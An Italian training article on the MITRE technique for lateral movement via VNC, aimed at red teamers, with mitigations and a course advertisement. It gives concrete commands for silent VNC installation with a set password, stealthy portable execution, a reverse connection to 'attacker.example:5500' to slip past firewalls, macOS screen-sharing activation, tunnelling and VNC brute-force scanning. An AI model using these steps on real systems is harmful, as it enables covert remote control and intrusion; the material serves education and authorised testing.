Controllo Remoto via VNC: Virtual Network Computing (T1021.005)

Virtual Network Computing rappresenta una delle vie più subdole per il movimento laterale in ambienti enterprise. A differenza di RDP, VNC condivide lo schermo trasmettendo framebuffer, input di mouse e tastiera attraverso il protocollo RFB, permettendo a un attaccante autenticato di operare sulla macchina bersaglio come se fosse fisicamente seduto davanti alla console.

La tecnica T1021.005 è mappata sulla tattica TA0008 (Lateral Movement) e sfrutta tipicamente Valid Accounts (T1078) per l'autenticazione iniziale. Una volta ottenuto il controllo, l'avversario può aprire documenti, scaricare payload, eseguire comandi arbitrari e usare la sessione grafica per raccogliere informazioni utili al pivot verso asset di valore. Alcune implementazioni VNC, storicamente, hanno mostrato vulnerabilità a brute force e a memory corruption, ampliando la superficie d'attacco.

I dati MITRE registrano 4 gruppi APT documentati (tra cui FIN7, Gamaredon Group, Fox Kitten e GCMAN) e 7 famiglie malware che integrano moduli VNC nativi, da TrickBot a Latrodectus. Le mitigazioni ufficiali sono quattro e ruotano attorno a filtraggio di rete, restrizione dell'installazione software, disabilitazione dei componenti non necessari e audit continuo. La combinazione di uso legittimo dello strumento in scenari IT e di abuso da parte di attori sofisticati rende la detection particolarmente sfidante e richiede correlazione multi-sorgente tra processo, sessione utente e traffico di rete.

In un ingaggio red team, l'abuso di VNC parte quasi sempre da credenziali valide raccolte in fasi precedenti (dump LSASS, phishing, riuso password). Lo scopo è ottenere una sessione grafica interattiva che eluda molti controlli focalizzati su shell e PowerShell.

Su Windows lo scenario tipico prevede il deployment silenzioso di TightVNC (open source) o UltraVNC (open source), gli stessi tool documentati per FIN7 e Gamaredon. L'installazione unattended si esegue con MSI:

msiexec /i tightvnc-2.8.x-setup-64bit.msi /quiet ADDLOCAL="Server" SET_USEVNCAUTHENTICATION=1 VALUE_OF_USEVNCAUTHENTICATION=1 SET_PASSWORD=1 VALUE_OF_PASSWORD=P@ssw0rd

Un approccio più stealth prevede l'uso della modalità portable senza installazione, avviando winvnc.exe -run da una directory scrivibile come %APPDATA%. Per bypassare firewall perimetrali è comune sfruttare la reverse connection VNC (porta 5500 lato attaccante in listening mode), che ribalta il flusso e simula traffico in uscita:

winvnc.exe -connect attacker.example:5500

Su Linux il tool di riferimento è x11vnc (open source), che espone una sessione X esistente senza creare display virtuali:

x11vnc -display :0 -auth /run/user/1000/gdm/Xauthority -rfbauth ~/.vnc/passwd -forever -shared

Per environment headless o pivoting server-side, TigerVNC (open source) permette di istanziare display virtuali via vncserver :1 -localhost no. Su macOS, il servizio nativo Screen Sharing si abilita programmaticamente con sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -setvncpw -vncpw P@ss -restart -agent.

Per simulare il comportamento di Fox Kitten, che installava TightVNC su endpoint compromessi come backdoor persistente, si combina l'installazione MSI con la creazione di un servizio dedicato e regole firewall locali che aprono solo la 5900 verso IP fidati. In laboratorio è utile testare anche il relay attraverso Chisel (open source) o ligolo-ng (open source) per tunnellare la 5900 attraverso HTTP/S quando la rete blocca il protocollo RFB in chiaro.

Per la fase di ricognizione preventiva, Nmap (open source) con lo script nmap -p5900-5910 --script vnc-info,vnc-brute,realvnc-auth-bypass identifica server esposti e versioni vulnerabili. Metasploit Framework (open source) include moduli come auxiliary/scanner/vnc/vnc_login per brute force autenticato, utili in scenari lab controllati.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.